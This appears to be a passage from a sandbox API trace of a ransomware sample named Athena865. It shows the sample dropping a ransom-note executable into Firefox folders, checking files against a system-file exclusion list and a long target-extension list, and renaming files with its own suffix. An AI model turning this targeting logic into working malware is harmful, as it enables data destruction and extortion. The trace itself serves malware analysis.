hHeap=0x4f0000) returned 1 [0095.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.656] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="extensions", cAlternateFileName="EXTENS~1")) returned 1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2=".") returned 1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="..") returned 1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="windows") returned -1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="bootmgr") returned 1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="temp") returned -1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="pagefile.sys") returned -1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="boot") returned 1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="ids.txt") returned -1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="ntuser.dat") returned -1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="perflogs") returned -1 [0095.656] lstrcmpiW (lpString1="extensions", lpString2="MSBuild") returned -1 [0095.656] lstrlenW (lpString="extensions") returned 10 [0095.656] lstrcpyW (in: lpString1=0x241e8a6, lpString2="extensions" | out: lpString1="extensions") returned="extensions" [0095.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5d8 [0095.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x501ca8 [0095.656] lstrcatW (in: lpString1="extensions", lpString2="\\" | out: lpString1="extensions\\") returned="extensions\\" [0095.656] lstrcatW (in: lpString1="extensions\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="extensions\\HOW TO BACK YOUR FILES.exe") returned="extensions\\HOW TO BACK YOUR FILES.exe" [0095.656] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\how to back your files.exe"), bFailIfExists=1) returned 1 [0095.659] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1365a00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc1365a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0095.659] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0095.659] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x57748a00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x44080e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0095.659] lstrcmpiW (lpString1="omni.ja", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.659] lstrcmpiW (lpString1="omni.ja", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.659] lstrcmpiW (lpString1="omni.ja", lpString2=".") returned 1 [0095.659] lstrcmpiW (lpString1="omni.ja", lpString2="..") returned 1 [0095.659] lstrcmpiW (lpString1="omni.ja", lpString2="windows") returned -1 [0095.659] lstrcmpiW (lpString1="omni.ja", lpString2="bootmgr") returned 1 [0095.659] lstrcmpiW (lpString1="omni.ja", lpString2="temp") returned -1 [0095.659] lstrcmpiW (lpString1="omni.ja", lpString2="pagefile.sys") returned -1 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2="boot") returned 1 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2="ids.txt") returned 1 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2="ntuser.dat") returned 1 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2="perflogs") returned -1 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2="MSBuild") returned 1 [0095.660] lstrlenW (lpString="omni.ja") returned 7 [0095.660] lstrcpyW (in: lpString1=0x241e8a6, lpString2="omni.ja" | out: lpString1="omni.ja") returned="omni.ja" [0095.660] lstrlenW (lpString="omni.ja") returned 7 [0095.660] lstrlenW (lpString="Athena865") returned 9 [0095.660] lstrlenW (lpString=".dll") returned 4 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2=".dll") returned 1 [0095.660] lstrlenW (lpString=".lnk") returned 4 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2=".lnk") returned 1 [0095.660] lstrlenW (lpString=".ini") returned 4 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2=".ini") returned 1 [0095.660] lstrlenW (lpString=".sys") returned 4 [0095.660] lstrcmpiW (lpString1="omni.ja", lpString2=".sys") returned 1 [0095.660] lstrlenW (lpString="omni.ja") returned 7 [0095.660] lstrlenW (lpString="bak") returned 3 [0095.660] lstrcmpiW (lpString1=".ja", lpString2="bak") returned -1 [0095.660] lstrlenW (lpString="ba_") returned 3 [0095.660] lstrcmpiW (lpString1=".ja", lpString2="ba_") returned -1 [0095.660] lstrlenW (lpString="dbb") returned 3 [0095.660] lstrcmpiW (lpString1=".ja", lpString2="dbb") returned -1 [0095.660] lstrlenW (lpString="vmdk") returned 4 [0095.660] lstrcmpiW (lpString1="i.ja", lpString2="vmdk") returned -1 [0095.660] lstrlenW (lpString="rar") returned 3 [0095.660] lstrcmpiW (lpString1=".ja", lpString2="rar") returned -1 [0095.660] lstrlenW (lpString="zip") returned 3 [0095.660] lstrcmpiW (lpString1=".ja", lpString2="zip") returned -1 [0095.660] lstrlenW (lpString="tgz") returned 3 [0095.660] lstrcmpiW (lpString1=".ja", lpString2="tgz") returned -1 [0095.661] lstrlenW (lpString="vbox") returned 4 [0095.661] lstrcmpiW (lpString1="i.ja", lpString2="vbox") returned -1 [0095.661] lstrlenW (lpString="vdi") returned 3 [0095.661] lstrcmpiW (lpString1=".ja", lpString2="vdi") returned -1 [0095.661] lstrlenW (lpString="vhd") returned 3 [0095.661] lstrcmpiW (lpString1=".ja", lpString2="vhd") returned -1 [0095.661] lstrlenW (lpString="vhdx") returned 4 [0095.661] lstrcmpiW (lpString1="i.ja", lpString2="vhdx") returned -1 [0095.661] lstrlenW (lpString="avhd") returned 4 [0095.661] lstrcmpiW (lpString1="i.ja", lpString2="avhd") returned 1 [0095.661] lstrlenW (lpString="db") returned 2 [0095.661] lstrcmpiW (lpString1="ja", lpString2="db") returned 1 [0095.661] lstrlenW (lpString="db2") returned 3 [0095.661] lstrcmpiW (lpString1=".ja", lpString2="db2") returned -1 [0095.661] lstrlenW (lpString="db3") returned 3 [0095.661] lstrcmpiW (lpString1=".ja", lpString2="db3") returned -1 [0095.661] lstrlenW (lpString="dbf") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="dbf") returned -1 [0095.667] lstrlenW (lpString="mdf") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="mdf") returned -1 [0095.667] lstrlenW (lpString="mdb") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="mdb") returned -1 [0095.667] lstrlenW (lpString="sql") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="sql") returned -1 [0095.667] lstrlenW (lpString="sqlite") returned 6 [0095.667] lstrcmpiW (lpString1="mni.ja", lpString2="sqlite") returned -1 [0095.667] lstrlenW (lpString="sqlite3") returned 7 [0095.667] lstrlenW (lpString="sqlitedb") returned 8 [0095.667] lstrlenW (lpString="xml") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="xml") returned -1 [0095.667] lstrlenW (lpString="$er") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="$er") returned 1 [0095.667] lstrlenW (lpString="4dd") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="4dd") returned -1 [0095.667] lstrlenW (lpString="4dl") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="4dl") returned -1 [0095.667] lstrlenW (lpString="^^^") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="^^^") returned -1 [0095.667] lstrlenW (lpString="abs") returned 3 [0095.667] lstrcmpiW (lpString1=".ja", lpString2="abs") returned -1 [0095.668] lstrlenW (lpString="abx") returned 3 [0095.668] lstrcmpiW (lpString1=".ja", lpString2="abx") returned -1 [0095.668] lstrlenW (lpString="accdb") returned 5 [0095.668] lstrcmpiW (lpString1="ni.ja", lpString2="accdb") returned 1 [0095.668] lstrlenW (lpString="accdc") returned 5 [0095.668] lstrcmpiW (lpString1="ni.ja", lpString2="accdc") returned 1 [0095.668] lstrlenW (lpString="accde") returned 5 [0095.668] lstrcmpiW (lpString1="ni.ja", lpString2="accde") returned 1 [0095.668] lstrlenW (lpString="accdr") returned 5 [0095.668] lstrcmpiW (lpString1="ni.ja", lpString2="accdr") returned 1 [0095.668] lstrlenW (lpString="accdt") returned 5 [0095.668] lstrcmpiW (lpString1="ni.ja", lpString2="accdt") returned 1 [0095.668] lstrlenW (lpString="accdw") returned 5 [0095.668] lstrcmpiW (lpString1="ni.ja", lpString2="accdw") returned 1 [0095.668] lstrlenW (lpString="accft") returned 5 [0095.668] lstrcmpiW (lpString1="ni.ja", lpString2="accft") returned 1 [0095.668] lstrlenW (lpString="adb") returned 3 [0095.668] lstrcmpiW (lpString1=".ja", lpString2="adb") returned -1 [0095.668] lstrlenW (lpString="adb") returned 3 [0095.668] lstrcmpiW (lpString1=".ja", lpString2="adb") returned -1 [0095.668] lstrlenW (lpString="ade") returned 3 [0095.668] lstrcmpiW (lpString1=".ja", lpString2="ade") returned -1 [0095.668] lstrlenW (lpString="adf") returned 3 [0095.668] lstrcmpiW (lpString1=".ja", lpString2="adf") returned -1 [0095.668] lstrlenW (lpString="adn") returned 3 [0095.668] lstrcmpiW (lpString1=".ja", lpString2="adn") returned -1 [0095.668] lstrlenW (lpString="adp") returned 3 [0095.668] lstrcmpiW (lpString1=".ja", lpString2="adp") returned -1 [0095.668] lstrlenW (lpString="alf") returned 3 [0095.668] lstrcmpiW (lpString1=".ja", lpString2="alf") returned -1 [0095.669] lstrlenW (lpString="ask") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="ask") returned -1 [0095.669] lstrlenW (lpString="btr") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="btr") returned -1 [0095.669] lstrlenW (lpString="cat") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="cat") returned -1 [0095.669] lstrlenW (lpString="cdb") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="cdb") returned -1 [0095.669] lstrlenW (lpString="ckp") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="ckp") returned -1 [0095.669] lstrlenW (lpString="cma") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="cma") returned -1 [0095.669] lstrlenW (lpString="cpd") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="cpd") returned -1 [0095.669] lstrlenW (lpString="dacpac") returned 6 [0095.669] lstrcmpiW (lpString1="mni.ja", lpString2="dacpac") returned 1 [0095.669] lstrlenW (lpString="dad") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="dad") returned -1 [0095.669] lstrlenW (lpString="dadiagrams") returned 10 [0095.669] lstrlenW (lpString="daschema") returned 8 [0095.669] lstrlenW (lpString="db-journal") returned 10 [0095.669] lstrlenW (lpString="db-shm") returned 6 [0095.669] lstrcmpiW (lpString1="mni.ja", lpString2="db-shm") returned 1 [0095.669] lstrlenW (lpString="db-wal") returned 6 [0095.669] lstrcmpiW (lpString1="mni.ja", lpString2="db-wal") returned 1 [0095.669] lstrlenW (lpString="dbc") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="dbc") returned -1 [0095.669] lstrlenW (lpString="dbs") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="dbs") returned -1 [0095.669] lstrlenW (lpString="dbt") returned 3 [0095.669] lstrcmpiW (lpString1=".ja", lpString2="dbt") returned -1 [0095.670] lstrlenW (lpString="dbv") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dbv") returned -1 [0095.670] lstrlenW (lpString="dbx") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dbx") returned -1 [0095.670] lstrlenW (lpString="dcb") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dcb") returned -1 [0095.670] lstrlenW (lpString="dct") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dct") returned -1 [0095.670] lstrlenW (lpString="dcx") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dcx") returned -1 [0095.670] lstrlenW (lpString="ddl") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="ddl") returned -1 [0095.670] lstrlenW (lpString="dlis") returned 4 [0095.670] lstrcmpiW (lpString1="i.ja", lpString2="dlis") returned 1 [0095.670] lstrlenW (lpString="dp1") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dp1") returned -1 [0095.670] lstrlenW (lpString="dqy") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dqy") returned -1 [0095.670] lstrlenW (lpString="dsk") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dsk") returned -1 [0095.670] lstrlenW (lpString="dsn") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dsn") returned -1 [0095.670] lstrlenW (lpString="dtsx") returned 4 [0095.670] lstrcmpiW (lpString1="i.ja", lpString2="dtsx") returned 1 [0095.670] lstrlenW (lpString="dxl") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="dxl") returned -1 [0095.670] lstrlenW (lpString="eco") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="eco") returned -1 [0095.670] lstrlenW (lpString="ecx") returned 3 [0095.670] lstrcmpiW (lpString1=".ja", lpString2="ecx") returned -1 [0095.671] lstrlenW (lpString="edb") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="edb") returned -1 [0095.671] lstrlenW (lpString="epim") returned 4 [0095.671] lstrcmpiW (lpString1="i.ja", lpString2="epim") returned 1 [0095.671] lstrlenW (lpString="fcd") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fcd") returned -1 [0095.671] lstrlenW (lpString="fdb") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fdb") returned -1 [0095.671] lstrlenW (lpString="fic") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fic") returned -1 [0095.671] lstrlenW (lpString="flexolibrary") returned 12 [0095.671] lstrlenW (lpString="fm5") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fm5") returned -1 [0095.671] lstrlenW (lpString="fmp") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fmp") returned -1 [0095.671] lstrlenW (lpString="fmp12") returned 5 [0095.671] lstrcmpiW (lpString1="ni.ja", lpString2="fmp12") returned 1 [0095.671] lstrlenW (lpString="fmpsl") returned 5 [0095.671] lstrcmpiW (lpString1="ni.ja", lpString2="fmpsl") returned 1 [0095.671] lstrlenW (lpString="fol") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fol") returned -1 [0095.671] lstrlenW (lpString="fp3") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fp3") returned -1 [0095.671] lstrlenW (lpString="fp4") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fp4") returned -1 [0095.671] lstrlenW (lpString="fp5") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fp5") returned -1 [0095.671] lstrlenW (lpString="fp7") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fp7") returned -1 [0095.671] lstrlenW (lpString="fpt") returned 3 [0095.671] lstrcmpiW (lpString1=".ja", lpString2="fpt") returned -1 [0095.672] lstrlenW (lpString="frm") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="frm") returned -1 [0095.672] lstrlenW (lpString="gdb") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="gdb") returned -1 [0095.672] lstrlenW (lpString="gdb") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="gdb") returned -1 [0095.672] lstrlenW (lpString="grdb") returned 4 [0095.672] lstrcmpiW (lpString1="i.ja", lpString2="grdb") returned 1 [0095.672] lstrlenW (lpString="gwi") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="gwi") returned -1 [0095.672] lstrlenW (lpString="hdb") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="hdb") returned -1 [0095.672] lstrlenW (lpString="his") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="his") returned -1 [0095.672] lstrlenW (lpString="ib") returned 2 [0095.672] lstrcmpiW (lpString1="ja", lpString2="ib") returned 1 [0095.672] lstrlenW (lpString="idb") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="idb") returned -1 [0095.672] lstrlenW (lpString="ihx") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="ihx") returned -1 [0095.672] lstrlenW (lpString="itdb") returned 4 [0095.672] lstrcmpiW (lpString1="i.ja", lpString2="itdb") returned -1 [0095.672] lstrlenW (lpString="itw") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="itw") returned -1 [0095.672] lstrlenW (lpString="jet") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="jet") returned -1 [0095.672] lstrlenW (lpString="jtx") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="jtx") returned -1 [0095.672] lstrlenW (lpString="kdb") returned 3 [0095.672] lstrcmpiW (lpString1=".ja", lpString2="kdb") returned -1 [0095.673] lstrlenW (lpString="kexi") returned 4 [0095.673] lstrcmpiW (lpString1="i.ja", lpString2="kexi") returned -1 [0095.673] lstrlenW (lpString="kexic") returned 5 [0095.673] lstrcmpiW (lpString1="ni.ja", lpString2="kexic") returned 1 [0095.673] lstrlenW (lpString="kexis") returned 5 [0095.673] lstrcmpiW (lpString1="ni.ja", lpString2="kexis") returned 1 [0095.673] lstrlenW (lpString="lgc") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="lgc") returned -1 [0095.673] lstrlenW (lpString="lwx") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="lwx") returned -1 [0095.673] lstrlenW (lpString="maf") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="maf") returned -1 [0095.673] lstrlenW (lpString="maq") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="maq") returned -1 [0095.673] lstrlenW (lpString="mar") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="mar") returned -1 [0095.673] lstrlenW (lpString="marshal") returned 7 [0095.673] lstrlenW (lpString="mas") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="mas") returned -1 [0095.673] lstrlenW (lpString="mav") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="mav") returned -1 [0095.673] lstrlenW (lpString="maw") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="maw") returned -1 [0095.673] lstrlenW (lpString="mdbhtml") returned 7 [0095.673] lstrlenW (lpString="mdn") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="mdn") returned -1 [0095.673] lstrlenW (lpString="mdt") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="mdt") returned -1 [0095.673] lstrlenW (lpString="mfd") returned 3 [0095.673] lstrcmpiW (lpString1=".ja", lpString2="mfd") returned -1 [0095.673] lstrlenW (lpString="mpd") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="mpd") returned -1 [0095.674] lstrlenW (lpString="mrg") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="mrg") returned -1 [0095.674] lstrlenW (lpString="mud") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="mud") returned -1 [0095.674] lstrlenW (lpString="mwb") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="mwb") returned -1 [0095.674] lstrlenW (lpString="myd") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="myd") returned -1 [0095.674] lstrlenW (lpString="ndf") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="ndf") returned -1 [0095.674] lstrlenW (lpString="nnt") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="nnt") returned -1 [0095.674] lstrlenW (lpString="nrmlib") returned 6 [0095.674] lstrcmpiW (lpString1="mni.ja", lpString2="nrmlib") returned -1 [0095.674] lstrlenW (lpString="ns2") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="ns2") returned -1 [0095.674] lstrlenW (lpString="ns3") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="ns3") returned -1 [0095.674] lstrlenW (lpString="ns4") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="ns4") returned -1 [0095.674] lstrlenW (lpString="nsf") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="nsf") returned -1 [0095.674] lstrlenW (lpString="nv") returned 2 [0095.674] lstrcmpiW (lpString1="ja", lpString2="nv") returned -1 [0095.674] lstrlenW (lpString="nv2") returned 3 [0095.674] lstrcmpiW (lpString1=".ja", lpString2="nv2") returned -1 [0095.674] lstrlenW (lpString="nwdb") returned 4 [0095.674] lstrcmpiW (lpString1="i.ja", lpString2="nwdb") returned -1 [0095.674] lstrlenW (lpString="nyf") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="nyf") returned -1 [0095.675] lstrlenW (lpString="odb") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="odb") returned -1 [0095.675] lstrlenW (lpString="odb") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="odb") returned -1 [0095.675] lstrlenW (lpString="oqy") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="oqy") returned -1 [0095.675] lstrlenW (lpString="ora") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="ora") returned -1 [0095.675] lstrlenW (lpString="orx") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="orx") returned -1 [0095.675] lstrlenW (lpString="owc") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="owc") returned -1 [0095.675] lstrlenW (lpString="p96") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="p96") returned -1 [0095.675] lstrlenW (lpString="p97") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="p97") returned -1 [0095.675] lstrlenW (lpString="pan") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="pan") returned -1 [0095.675] lstrlenW (lpString="pdb") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="pdb") returned -1 [0095.675] lstrlenW (lpString="pdm") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="pdm") returned -1 [0095.675] lstrlenW (lpString="pnz") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="pnz") returned -1 [0095.675] lstrlenW (lpString="qry") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="qry") returned -1 [0095.675] lstrlenW (lpString="qvd") returned 3 [0095.675] lstrcmpiW (lpString1=".ja", lpString2="qvd") returned -1 [0095.675] lstrlenW (lpString="rbf") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="rbf") returned -1 [0095.676] lstrlenW (lpString="rctd") returned 4 [0095.676] lstrcmpiW (lpString1="i.ja", lpString2="rctd") returned -1 [0095.676] lstrlenW (lpString="rod") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="rod") returned -1 [0095.676] lstrlenW (lpString="rodx") returned 4 [0095.676] lstrcmpiW (lpString1="i.ja", lpString2="rodx") returned -1 [0095.676] lstrlenW (lpString="rpd") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="rpd") returned -1 [0095.676] lstrlenW (lpString="rsd") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="rsd") returned -1 [0095.676] lstrlenW (lpString="sas7bdat") returned 8 [0095.676] lstrlenW (lpString="sbf") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="sbf") returned -1 [0095.676] lstrlenW (lpString="scx") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="scx") returned -1 [0095.676] lstrlenW (lpString="sdb") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="sdb") returned -1 [0095.676] lstrlenW (lpString="sdc") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="sdc") returned -1 [0095.676] lstrlenW (lpString="sdf") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="sdf") returned -1 [0095.676] lstrlenW (lpString="sis") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="sis") returned -1 [0095.676] lstrlenW (lpString="spq") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="spq") returned -1 [0095.676] lstrlenW (lpString="te") returned 2 [0095.676] lstrcmpiW (lpString1="ja", lpString2="te") returned -1 [0095.676] lstrlenW (lpString="teacher") returned 7 [0095.676] lstrlenW (lpString="tmd") returned 3 [0095.676] lstrcmpiW (lpString1=".ja", lpString2="tmd") returned -1 [0095.677] lstrlenW (lpString="tps") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="tps") returned -1 [0095.677] lstrlenW (lpString="trc") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="trc") returned -1 [0095.677] lstrlenW (lpString="trc") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="trc") returned -1 [0095.677] lstrlenW (lpString="trm") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="trm") returned -1 [0095.677] lstrlenW (lpString="udb") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="udb") returned -1 [0095.677] lstrlenW (lpString="udl") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="udl") returned -1 [0095.677] lstrlenW (lpString="usr") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="usr") returned -1 [0095.677] lstrlenW (lpString="v12") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="v12") returned -1 [0095.677] lstrlenW (lpString="vis") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="vis") returned -1 [0095.677] lstrlenW (lpString="vpd") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="vpd") returned -1 [0095.677] lstrlenW (lpString="vvv") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="vvv") returned -1 [0095.677] lstrlenW (lpString="wdb") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="wdb") returned -1 [0095.677] lstrlenW (lpString="wmdb") returned 4 [0095.677] lstrcmpiW (lpString1="i.ja", lpString2="wmdb") returned -1 [0095.677] lstrlenW (lpString="wrk") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="wrk") returned -1 [0095.677] lstrlenW (lpString="xdb") returned 3 [0095.677] lstrcmpiW (lpString1=".ja", lpString2="xdb") returned -1 [0095.678] lstrlenW (lpString="xld") returned 3 [0095.678] lstrcmpiW (lpString1=".ja", lpString2="xld") returned -1 [0095.678] lstrlenW (lpString="xmlff") returned 5 [0095.678] lstrcmpiW (lpString1="ni.ja", lpString2="xmlff") returned -1 [0095.678] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja.Athena865") returned 64 [0095.678] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\omni.ja"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja.Athena865" 